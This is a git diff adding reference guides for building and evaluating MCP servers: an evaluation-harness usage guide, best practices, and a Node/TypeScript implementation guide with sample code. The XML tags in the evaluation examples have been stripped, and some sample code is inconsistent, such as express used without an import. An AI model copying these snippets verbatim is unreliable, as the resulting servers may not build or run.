capabilities +5. **Ensure Stability** by using historical data and closed concepts +6. **Verify Answers** by solving the questions yourself using the MCP server tools +7. **Iterate and Refine** based on what you learn during the process + +--- + +# Running Evaluations + +After creating your evaluation file, you can use the provided evaluation harness to test your MCP server. + +## Setup + +1. **Install Dependencies** + + ```bash + pip install -r scripts/requirements.txt + ``` + + Or install manually: + ```bash + pip install anthropic mcp + ``` + +2. **Set API Key** + + ```bash + export ANTHROPIC_API_KEY=your_api_key_here + ``` + +## Evaluation File Format + +Evaluation files use XML format with `` elements: + +```xml + + + Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name? + Website Redesign + + + Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username. + sarah_dev + + +``` + +## Running Evaluations + +The evaluation script (`scripts/evaluation.py`) supports three transport types: + +**Important:** +- **stdio transport**: The evaluation script automatically launches and manages the MCP server process for you. Do not run the server manually. +- **sse/http transports**: You must start the MCP server separately before running the evaluation. The script connects to the already-running server at the specified URL. + +### 1. Local STDIO Server + +For locally-run MCP servers (script launches the server automatically): + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + evaluation.xml +``` + +With environment variables: +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + -e API_KEY=abc123 \ + -e DEBUG=true \ + evaluation.xml +``` + +### 2. Server-Sent Events (SSE) + +For SSE-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t sse \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + -H "X-Custom-Header: value" \ + evaluation.xml +``` + +### 3. HTTP (Streamable HTTP) + +For HTTP-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t http \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + evaluation.xml +``` + +## Command-Line Options + +``` +usage: evaluation.py [-h] [-t {stdio,sse,http}] [-m MODEL] [-c COMMAND] + [-a ARGS [ARGS ...]] [-e ENV [ENV ...]] [-u URL] + [-H HEADERS [HEADERS ...]] [-o OUTPUT] + eval_file + +positional arguments: + eval_file Path to evaluation XML file + +optional arguments: + -h, --help Show help message + -t, --transport Transport type: stdio, sse, or http (default: stdio) + -m, --model Claude model to use (default: claude-3-7-sonnet-20250219) + -o, --output Output file for report (default: print to stdout) + +stdio options: + -c, --command Command to run MCP server (e.g., python, node) + -a, --args Arguments for the command (e.g., server.py) + -e, --env Environment variables in KEY=VALUE format + +sse/http options: + -u, --url MCP server URL + -H, --header HTTP headers in 'Key: Value' format +``` + +## Output + +The evaluation script generates a detailed report including: + +- **Summary Statistics**: + - Accuracy (correct/total) + - Average task duration + - Average tool calls per task + - Total tool calls + +- **Per-Task Results**: + - Prompt and expected response + - Actual response from the agent + - Whether the answer was correct (✅/❌) + - Duration and tool call details + - Agent's summary of its approach + - Agent's feedback on the tools + +### Save Report to File + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_server.py \ + -o evaluation_report.md \ + evaluation.xml +``` + +## Complete Example Workflow + +Here's a complete example of creating and running an evaluation: + +1. **Create your evaluation file** (`my_evaluation.xml`): + +```xml + + + Find the user who created the most issues in January 2024. What is their username? + alice_developer + + + Among all pull requests merged in Q1 2024, which repository had the highest number? Provide the repository name. + backend-api + + + Find the project that was completed in December 2023 and had the longest duration from start to finish. How many days did it take? + 127 + + +``` + +2. **Install dependencies**: + +```bash +pip install -r scripts/requirements.txt +export ANTHROPIC_API_KEY=your_api_key +``` + +3. **Run evaluation**: + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a github_mcp_server.py \ + -e GITHUB_TOKEN=ghp_xxx \ + -o github_eval_report.md \ + my_evaluation.xml +``` + +4. **Review the report** in `github_eval_report.md` to: + - See which questions passed/failed + - Read the agent's feedback on your tools + - Identify areas for improvement + - Iterate on your MCP server design + +## Troubleshooting + +### Connection Errors + +If you get connection errors: +- **STDIO**: Verify the command and arguments are correct +- **SSE/HTTP**: Check the URL is accessible and headers are correct +- Ensure any required API keys are set in environment variables or headers + +### Low Accuracy + +If many evaluations fail: +- Review the agent's feedback for each task +- Check if tool descriptions are clear and comprehensive +- Verify input parameters are well-documented +- Consider whether tools return too much or too little data +- Ensure error messages are actionable + +### Timeout Issues + +If tasks are timing out: +- Use a more capable model (e.g., `claude-3-7-sonnet-20250219`) +- Check if tools are returning too much data +- Verify pagination is working correctly +- Consider simplifying complex questions \ No newline at end of file diff --git a/skills/mcp-builder/reference/mcp_best_practices.md b/skills/mcp-builder/reference/mcp_best_practices.md new file mode 100644 index 0000000000000000000000000000000000000000..b9d343cc3ae89b1fc139dae96bdb2b7e29ba3648 --- /dev/null +++ b/skills/mcp-builder/reference/mcp_best_practices.md @@ -0,0 +1,249 @@ +# MCP Server Best Practices + +## Quick Reference + +### Server Naming +- **Python**: `{service}_mcp` (e.g., `slack_mcp`) +- **Node/TypeScript**: `{service}-mcp-server` (e.g., `slack-mcp-server`) + +### Tool Naming +- Use snake_case with service prefix +- Format: `{service}_{action}_{resource}` +- Example: `slack_send_message`, `github_create_issue` + +### Response Formats +- Support both JSON and Markdown formats +- JSON for programmatic processing +- Markdown for human readability + +### Pagination +- Always respect `limit` parameter +- Return `has_more`, `next_offset`, `total_count` +- Default to 20-50 items + +### Transport +- **Streamable HTTP**: For remote servers, multi-client scenarios +- **stdio**: For local integrations, command-line tools +- Avoid SSE (deprecated in favor of streamable HTTP) + +--- + +## Server Naming Conventions + +Follow these standardized naming patterns: + +**Python**: Use format `{service}_mcp` (lowercase with underscores) +- Examples: `slack_mcp`, `github_mcp`, `jira_mcp` + +**Node/TypeScript**: Use format `{service}-mcp-server` (lowercase with hyphens) +- Examples: `slack-mcp-server`, `github-mcp-server`, `jira-mcp-server` + +The name should be general, descriptive of the service being integrated, easy to infer from the task description, and without version numbers. + +--- + +## Tool Naming and Design + +### Tool Naming + +1. **Use snake_case**: `search_users`, `create_project`, `get_channel_info` +2. **Include service prefix**: Anticipate that your MCP server may be used alongside other MCP servers + - Use `slack_send_message` instead of just `send_message` + - Use `github_create_issue` instead of just `create_issue` +3. **Be action-oriented**: Start with verbs (get, list, search, create, etc.) +4. **Be specific**: Avoid generic names that could conflict with other servers + +### Tool Design + +- Tool descriptions must narrowly and unambiguously describe functionality +- Descriptions must precisely match actual functionality +- Provide tool annotations (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- Keep tool operations focused and atomic + +--- + +## Response Formats + +All tools that return data should support multiple formats: + +### JSON Format (`response_format="json"`) +- Machine-readable structured data +- Include all available fields and metadata +- Consistent field names and types +- Use for programmatic processing + +### Markdown Format (`response_format="markdown"`, typically default) +- Human-readable formatted text +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format +- Show display names with IDs in parentheses +- Omit verbose metadata + +--- + +## Pagination + +For tools that list resources: + +- **Always respect the `limit` parameter** +- **Implement pagination**: Use `offset` or cursor-based pagination +- **Return pagination metadata**: Include `has_more`, `next_offset`/`next_cursor`, `total_count` +- **Never load all results into memory**: Especially important for large datasets +- **Default to reasonable limits**: 20-50 items is typical + +Example pagination response: +```json +{ + "total": 150, + "count": 20, + "offset": 0, + "items": [...], + "has_more": true, + "next_offset": 20 +} +``` + +--- + +## Transport Options + +### Streamable HTTP + +**Best for**: Remote servers, web services, multi-client scenarios + +**Characteristics**: +- Bidirectional communication over HTTP +- Supports multiple simultaneous clients +- Can be deployed as a web service +- Enables server-to-client notifications + +**Use when**: +- Serving multiple clients simultaneously +- Deploying as a cloud service +- Integration with web applications + +### stdio + +**Best for**: Local integrations, command-line tools + +**Characteristics**: +- Standard input/output stream communication +- Simple setup, no network configuration needed +- Runs as a subprocess of the client + +**Use when**: +- Building tools for local development environments +- Integrating with desktop applications +- Single-user, single-session scenarios + +**Note**: stdio servers should NOT log to stdout (use stderr for logging) + +### Transport Selection + +| Criterion | stdio | Streamable HTTP | +|-----------|-------|-----------------| +| **Deployment** | Local | Remote | +| **Clients** | Single | Multiple | +| **Complexity** | Low | Medium | +| **Real-time** | No | Yes | + +--- + +## Security Best Practices + +### Authentication and Authorization + +**OAuth 2.1**: +- Use secure OAuth 2.1 with certificates from recognized authorities +- Validate access tokens before processing requests +- Only accept tokens specifically intended for your server + +**API Keys**: +- Store API keys in environment variables, never in code +- Validate keys on server startup +- Provide clear error messages when authentication fails + +### Input Validation + +- Sanitize file paths to prevent directory traversal +- Validate URLs and external identifiers +- Check parameter sizes and ranges +- Prevent command injection in system calls +- Use schema validation (Pydantic/Zod) for all inputs + +### Error Handling + +- Don't expose internal errors to clients +- Log security-relevant errors server-side +- Provide helpful but not revealing error messages +- Clean up resources after errors + +### DNS Rebinding Protection + +For streamable HTTP servers running locally: +- Enable DNS rebinding protection +- Validate the `Origin` header on all incoming connections +- Bind to `127.0.0.1` rather than `0.0.0.0` + +--- + +## Tool Annotations + +Provide annotations to help clients understand tool behavior: + +| Annotation | Type | Default | Description | +|-----------|------|---------|-------------| +| `readOnlyHint` | boolean | false | Tool does not modify its environment | +| `destructiveHint` | boolean | true | Tool may perform destructive updates | +| `idempotentHint` | boolean | false | Repeated calls with same args have no additional effect | +| `openWorldHint` | boolean | true | Tool interacts with external entities | + +**Important**: Annotations are hints, not security guarantees. Clients should not make security-critical decisions based solely on annotations. + +--- + +## Error Handling + +- Use standard JSON-RPC error codes +- Report tool errors within result objects (not protocol-level errors) +- Provide helpful, specific error messages with suggested next steps +- Don't expose internal implementation details +- Clean up resources properly on errors + +Example error handling: +```typescript +try { + const result = performOperation(); + return { content: [{ type: "text", text: result }] }; +} catch (error) { + return { + isError: true, + content: [{ + type: "text", + text: `Error: ${error.message}. Try using filter='active_only' to reduce results.` + }] + }; +} +``` + +--- + +## Testing Requirements + +Comprehensive testing should cover: + +- **Functional testing**: Verify correct execution with valid/invalid inputs +- **Integration testing**: Test interaction with external systems +- **Security testing**: Validate auth, input sanitization, rate limiting +- **Performance testing**: Check behavior under load, timeouts +- **Error handling**: Ensure proper error reporting and cleanup + +--- + +## Documentation Requirements + +- Provide clear documentation of all tools and capabilities +- Include working examples (at least 3 per major feature) +- Document security considerations +- Specify required permissions and access levels +- Document rate limits and performance characteristics diff --git a/skills/mcp-builder/reference/node_mcp_server.md b/skills/mcp-builder/reference/node_mcp_server.md new file mode 100644 index 0000000000000000000000000000000000000000..f6e5df982adc0848bf261c47ab8d65a1e0469391 --- /dev/null +++ b/skills/mcp-builder/reference/node_mcp_server.md @@ -0,0 +1,970 @@ +# Node/TypeScript MCP Server Implementation Guide + +## Overview + +This document provides Node/TypeScript-specific best practices and examples for implementing MCP servers using the MCP TypeScript SDK. It covers project structure, server setup, tool registration patterns, input validation with Zod, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import express from "express"; +import { z } from "zod"; +``` + +### Server Initialization +```typescript +const server = new McpServer({ + name: "service-mcp-server", + version: "1.0.0" +}); +``` + +### Tool Registration Pattern +```typescript +server.registerTool( + "tool_name", + { + title: "Tool Display Name", + description: "What the tool does", + inputSchema: { param: z.string() }, + outputSchema: { result: z.string() } + }, + async ({ param }) => { + const output = { result: `Processed: ${param}` }; + return { + content: [{ type: "text", text: JSON.stringify(output) }], + structuredContent: output // Modern pattern for structured data + }; + } +); +``` + +--- + +## MCP TypeScript SDK + +The official MCP TypeScript SDK provides: +- `McpServer` class for server initialization +- `registerTool` method for tool registration +- Zod schema integration for runtime input validation +- Type-safe tool handler implementations + +**IMPORTANT - Use Modern APIs Only:** +- **DO use**: `server.registerTool()`, `server.registerResource()`, `server.registerPrompt()` +- **DO NOT use**: Old deprecated APIs such as `server.tool()`, `server.setRequestHandler(ListToolsRequestSchema, ...)`, or manual handler registration +- The `register*` methods provide better type safety, automatic schema handling, and are the recommended approach + +See the MCP SDK documentation in the references for complete details. + +## Server Naming Convention + +Node/TypeScript MCP servers must follow this naming pattern: +- **Format**: `{service}-mcp-server` (lowercase with hyphens) +- **Examples**: `github-mcp-server`, `jira-mcp-server`, `stripe-mcp-server` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Project Structure + +Create the following structure for Node/TypeScript MCP servers: + +``` +{service}-mcp-server/ +├── package.json +├── tsconfig.json +├── README.md +├── src/ +│ ├── index.ts # Main entry point with McpServer initialization +│ ├── types.ts # TypeScript type definitions and interfaces +│ ├── tools/ # Tool implementations (one file per domain) +│ ├── services/ # API clients and shared utilities +│ ├── schemas/ # Zod validation schemas +│ └── constants.ts # Shared constants (API_URL, CHARACTER_LIMIT, etc.) +└── dist/ # Built JavaScript files (entry point: dist/index.js) +``` + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure + +Tools are registered using the `registerTool` method with the following requirements: +- Use Zod schemas for runtime input validation and type safety +- The `description` field must be explicitly provided - JSDoc comments are NOT automatically extracted +- Explicitly provide `title`, `description`, `inputSchema`, and `annotations` +- The `inputSchema` must be a Zod schema object (not a JSON schema) +- Type all parameters and return values explicitly + +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { z } from "zod"; + +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Zod schema for input validation +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +// Type definition from Zod schema +type UserSearchInput = z.infer; + +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `Search for users in the Example system by name, email, or team. + +This tool searches across all user profiles in the Example platform, supporting partial matches and various search filters. It does NOT create or modify users, only searches existing ones. + +Args: + - query (string): Search string to match against names/emails + - limit (number): Maximum results to return, between 1-100 (default: 20) + - offset (number): Number of results to skip for pagination (default: 0) + - response_format ('markdown' | 'json'): Output format (default: 'markdown') + +Returns: + For JSON format: Structured data with schema: + { + "total": number, // Total number of matches found + "count": number, // Number of results in this response + "offset": number, // Current pagination offset + "users": [ + { + "id": string, // User ID (e.g., "U123456789") + "name": string, // Full name (e.g., "John Doe") + "email": string, // Email address + "team": string, // Team name (optional) + "active": boolean // Whether user is active + } + ], + "has_more": boolean, // Whether more results are available + "next_offset": number // Offset for next page (if has_more is true) + } + +Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + +Error Handling: + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "No users found matching ''" if search returns empty`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + try { + // Input validation is handled by Zod schema + // Make API request using validated parameters + const data = await makeApiRequest( + "users/search", + "GET", + undefined, + { + q: params.query, + limit: params.limit, + offset: params.offset + } + ); + + const users = data.users || []; + const total = data.total || 0; + + if (!users.length) { + return { + content: [{ + type: "text", + text: `No users found matching '${params.query}'` + }] + }; + } + + // Prepare structured output + const output = { + total, + count: users.length, + offset: params.offset, + users: users.map((user: any) => ({ + id: user.id, + name: user.name, + email: user.email, + ...(user.team ? { team: user.team } : {}), + active: user.active ?? true + })), + has_more: total > params.offset + users.length, + ...(total > params.offset + users.length ? { + next_offset: params.offset + users.length + } : {}) + }; + + // Format text representation based on requested format + let textContent: string; + if (params.response_format === ResponseFormat.MARKDOWN) { + const lines = [`# User Search Results: '${params.query}'`, "", + `Found ${total} users (showing ${users.length})`, ""]; + for (const user of users) { + lines.push(`## ${user.name} (${user.id})`); + lines.push(`- **Email**: ${user.email}`); + if (user.team) lines.push(`- **Team**: ${user.team}`); + lines.push(""); + } + textContent = lines.join("\n"); + } else { + textContent = JSON.stringify(output, null, 2); + } + + return { + content: [{ type: "text", text: textContent }], + structuredContent: output // Modern pattern for structured data + }; + } catch (error) { + return { + content: [{ + type: "text", + text: handleApiError(error) + }] + }; + } + } +); +``` + +## Zod Schemas for Input Validation + +Zod provides runtime type validation: + +```typescript +import { z } from "zod"; + +// Basic schema with validation +const CreateUserSchema = z.object({ + name: z.string() + .min(1, "Name is required") + .max(100, "Name must not exceed 100 characters"), + email: z.string() + .email("Invalid email format"), + age: z.number() + .int("Age must be a whole number") + .min(0, "Age cannot be negative") + .max(150, "Age cannot be greater than 150") +}).strict(); // Use .strict() to forbid extra fields + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const SearchSchema = z.object({ + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format") +}); + +// Optional fields with defaults +const PaginationSchema = z.object({ + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip") +}); +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```typescript +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +const inputSchema = z.object({ + query: z.string(), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}); +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format +- Show display names with IDs in parentheses +- Omit verbose metadata +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```typescript +const ListSchema = z.object({ + limit: z.number().int().min(1).max(100).default(20), + offset: z.number().int().min(0).default(0) +}); + +async function listItems(params: z.infer) { + const data = await apiRequest(params.limit, params.offset); + + const response = { + total: data.total, + count: data.items.length, + offset: params.offset, + items: data.items, + has_more: data.total > params.offset + data.items.length, + next_offset: data.total > params.offset + data.items.length + ? params.offset + data.items.length + : undefined + }; + + return JSON.stringify(response, null, 2); +} +``` + +## Character Limits and Truncation + +Add a CHARACTER_LIMIT constant to prevent overwhelming responses: + +```typescript +// At module level in constants.ts +export const CHARACTER_LIMIT = 25000; // Maximum response size in characters + +async function searchTool(params: SearchInput) { + let result = generateResponse(data); + + // Check character limit and truncate if needed + if (result.length > CHARACTER_LIMIT) { + const truncatedData = data.slice(0, Math.max(1, data.length / 2)); + response.data = truncatedData; + response.truncated = true; + response.truncation_message = + `Response truncated from ${data.length} to ${truncatedData.length} items. ` + + `Use 'offset' parameter or add filters to see more results.`; + result = JSON.stringify(response, null, 2); + } + + return result; +} +``` + +## Error Handling + +Provide clear, actionable error messages: + +```typescript +import axios, { AxiosError } from "axios"; + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```typescript +// Shared API request function +async function makeApiRequest( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```typescript +// Good: Async network request +async function fetchData(resourceId: string): Promise { + const response = await axios.get(`${API_URL}/resource/${resourceId}`); + return response.data; +} + +// Bad: Promise chains +function fetchData(resourceId: string): Promise { + return axios.get(`${API_URL}/resource/${resourceId}`) + .then(response => response.data); // Harder to read and maintain +} +``` + +## TypeScript Best Practices + +1. **Use Strict TypeScript**: Enable strict mode in tsconfig.json +2. **Define Interfaces**: Create clear interface definitions for all data structures +3. **Avoid `any`**: Use proper types or `unknown` instead of `any` +4. **Zod for Runtime Validation**: Use Zod schemas to validate external data +5. **Type Guards**: Create type guard functions for complex type checking +6. **Error Handling**: Always use try-catch with proper error type checking +7. **Null Safety**: Use optional chaining (`?.`) and nullish coalescing (`??`) + +```typescript +// Good: Type-safe with Zod and interfaces +interface UserResponse { + id: string; + name: string; + email: string; + team?: string; + active: boolean; +} + +const UserSchema = z.object({ + id: z.string(), + name: z.string(), + email: z.string().email(), + team: z.string().optional(), + active: z.boolean() +}); + +type User = z.infer; + +async function getUser(id: string): Promise { + const data = await apiCall(`/users/${id}`); + return UserSchema.parse(data); // Runtime validation +} + +// Bad: Using any +async function getUser(id: string): Promise { + return await apiCall(`/users/${id}`); // No type safety +} +``` + +## Package Configuration + +### package.json + +```json +{ + "name": "{service}-mcp-server", + "version": "1.0.0", + "description": "MCP server for {Service} API integration", + "type": "module", + "main": "dist/index.js", + "scripts": { + "start": "node dist/index.js", + "dev": "tsx watch src/index.ts", + "build": "tsc", + "clean": "rm -rf dist" + }, + "engines": { + "node": ">=18" + }, + "dependencies": { + "@modelcontextprotocol/sdk": "^1.6.1", + "axios": "^1.7.9", + "zod": "^3.23.8" + }, + "devDependencies": { + "@types/node": "^22.10.0", + "tsx": "^4.19.2", + "typescript": "^5.7.2" + } +} +``` + +### tsconfig.json + +```json +{ + "compilerOptions": { + "target": "ES2022", + "module": "Node16", + "moduleResolution": "Node16", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "allowSyntheticDefaultImports": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} +``` + +## Complete Example + +```typescript +#!/usr/bin/env node +/** + * MCP Server for Example Service. + * + * This server provides tools to interact with Example API, including user search, + * project management, and data export capabilities. + */ + +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { z } from "zod"; +import axios, { AxiosError } from "axios"; + +// Constants +const API_BASE_URL = "https://api.example.com/v1"; +const CHARACTER_LIMIT = 25000; + +// Enums +enum ResponseFormat { + MARKDOWN = "markdown", + JSON = "json" +} + +// Zod schemas +const UserSearchInputSchema = z.object({ + query: z.string() + .min(2, "Query must be at least 2 characters") + .max(200, "Query must not exceed 200 characters") + .describe("Search string to match against names/emails"), + limit: z.number() + .int() + .min(1) + .max(100) + .default(20) + .describe("Maximum results to return"), + offset: z.number() + .int() + .min(0) + .default(0) + .describe("Number of results to skip for pagination"), + response_format: z.nativeEnum(ResponseFormat) + .default(ResponseFormat.MARKDOWN) + .describe("Output format: 'markdown' for human-readable or 'json' for machine-readable") +}).strict(); + +type UserSearchInput = z.infer; + +// Shared utility functions +async function makeApiRequest( + endpoint: string, + method: "GET" | "POST" | "PUT" | "DELETE" = "GET", + data?: any, + params?: any +): Promise { + try { + const response = await axios({ + method, + url: `${API_BASE_URL}/${endpoint}`, + data, + params, + timeout: 30000, + headers: { + "Content-Type": "application/json", + "Accept": "application/json" + } + }); + return response.data; + } catch (error) { + throw error; + } +} + +function handleApiError(error: unknown): string { + if (error instanceof AxiosError) { + if (error.response) { + switch (error.response.status) { + case 404: + return "Error: Resource not found. Please check the ID is correct."; + case 403: + return "Error: Permission denied. You don't have access to this resource."; + case 429: + return "Error: Rate limit exceeded. Please wait before making more requests."; + default: + return `Error: API request failed with status ${error.response.status}`; + } + } else if (error.code === "ECONNABORTED") { + return "Error: Request timed out. Please try again."; + } + } + return `Error: Unexpected error occurred: ${error instanceof Error ? error.message : String(error)}`; +} + +// Create MCP server instance +const server = new McpServer({ + name: "example-mcp", + version: "1.0.0" +}); + +// Register tools +server.registerTool( + "example_search_users", + { + title: "Search Example Users", + description: `[Full description as shown above]`, + inputSchema: UserSearchInputSchema, + annotations: { + readOnlyHint: true, + destructiveHint: false, + idempotentHint: true, + openWorldHint: true + } + }, + async (params: UserSearchInput) => { + // Implementation as shown above + } +); + +// Main function +// For stdio (local): +async function runStdio() { + if (!process.env.EXAMPLE_API_KEY) { + console.error("ERROR: EXAMPLE_API_KEY environment variable is required"); + process.exit(1); + } + + const transport = new StdioServerTransport(); + await server.connect(transport); + console.error("MCP server running via stdio"); +} + +// For streamable HTTP (remote): +async function runHTTP() { + if (!process.env.EXAMPLE_API_KEY) { + console.error("ERROR: EXAMPLE_API_KEY environment variable is required"); + process.exit(1); + } + + const app = express(); + app.use(express.json()); + + app.post('/mcp', async (req, res) => { + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, + enableJsonResponse: true + }); + res.on('close', () => transport.close()); + await server.connect(transport); + await transport.handleRequest(req, res, req.body); + }); + + const port = parseInt(process.env.PORT || '3000'); + app.listen(port, () => { + console.error(`MCP server running on http://localhost:${port}/mcp`); + }); +} + +// Choose transport based on environment +const transport = process.env.TRANSPORT || 'stdio'; +if (transport === 'http') { + runHTTP().catch(error => { + console.error("Server error:", error); + process.exit(1); + }); +} else { + runStdio().catch(error => { + console.error("Server error:", error); + process.exit(1); + }); +} +``` + +--- + +## Advanced MCP Features + +### Resource Registration + +Expose data as resources for efficient, URI-based access: + +```typescript +import { ResourceTemplate } from "@modelcontextprotocol/sdk/types.js"; + +// Register a resource with URI template +server.registerResource( + { + uri: "file://documents/{name}", + name: "Document Resource", + description: "Access documents by name", + mimeType: "text/plain" + }, + async (uri: string) => { + // Extract parameter from URI + const match = uri.match(/^file:\/\/documents\/(.+)$/); + if (!match) { + throw new Error("Invalid URI format"); + } + + const documentName = match[1]; + const content = await loadDocument(documentName); + + return { + contents: [{ + uri, + mimeType: "text/plain", + text: content + }] + }; + } +); + +// List available resources dynamically +server.registerResourceList(async () => { + const documents = await getAvailableDocuments(); + return { + resources: documents.map(doc => ({ + uri: `file://documents/${doc.name}`, + name: doc.name, + mimeType: "text/plain", + description: doc.description + })) + }; +}); +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple URI-based parameters +- **Tools**: For complex operations requiring validation and business logic +- **Resources**: When data is relatively static or template-based +- **Tools**: When operations have side effects or complex workflows + +### Transport Options + +The TypeScript SDK supports two main transport mechanisms: + +#### Streamable HTTP (Recommended for Remote Servers) + +```typescript +import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; +import express from "express"; + +const app = express(); +app.use(express.json()); + +app.post('/mcp', async (req, res) => { + // Create new transport for each request (stateless, prevents request ID collisions) + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: undefined, + enableJsonResponse: true + }); + + res.on('close', () => transport.close()); + + await server.connect(transport); + await transport.handleRequest(req, res, req.body); +}); + +app.listen(3000); +``` + +#### stdio (For Local Integrations) + +```typescript +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; + +const transport = new StdioServerTransport(); +await server.connect(transport); +``` + +**Transport selection:** +- **Streamable HTTP**: Web services, remote access, multiple clients +- **stdio**: Command-line tools, local development, subprocess integration + +### Notification Support + +Notify clients when server state changes: + +```typescript +// Notify when tools list changes +server.notification({ + method: "notifications/tools/list_changed" +}); + +// Notify when resources change +server.notification({ + method: "notifications/resources/list_changed" +}); +``` + +Use notifications sparingly - only when server capabilities genuinely change. + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +## Building and Running + +Always build your TypeScript code before running: + +```bash +# Build the project +npm run build + +# Run the server +npm start + +# Development with auto-reload +npm run dev +``` + +Always ensure `npm run build` completes successfully before considering the implementation complete. + +## Quality Checklist + +Before finalizing your Node/TypeScript MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools registered using `registerTool` with complete configuration +- [ ] All tools include `title`, `description`, `inputSchema`, and `annotations` +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Zod schemas for runtime input validation with `.strict()` enforcement +- [ ] All Zod schemas have proper constraints and descriptive error messages +- [ ] All tools have comprehensive descriptions with explicit input/output types +- [ ] Descriptions include return value 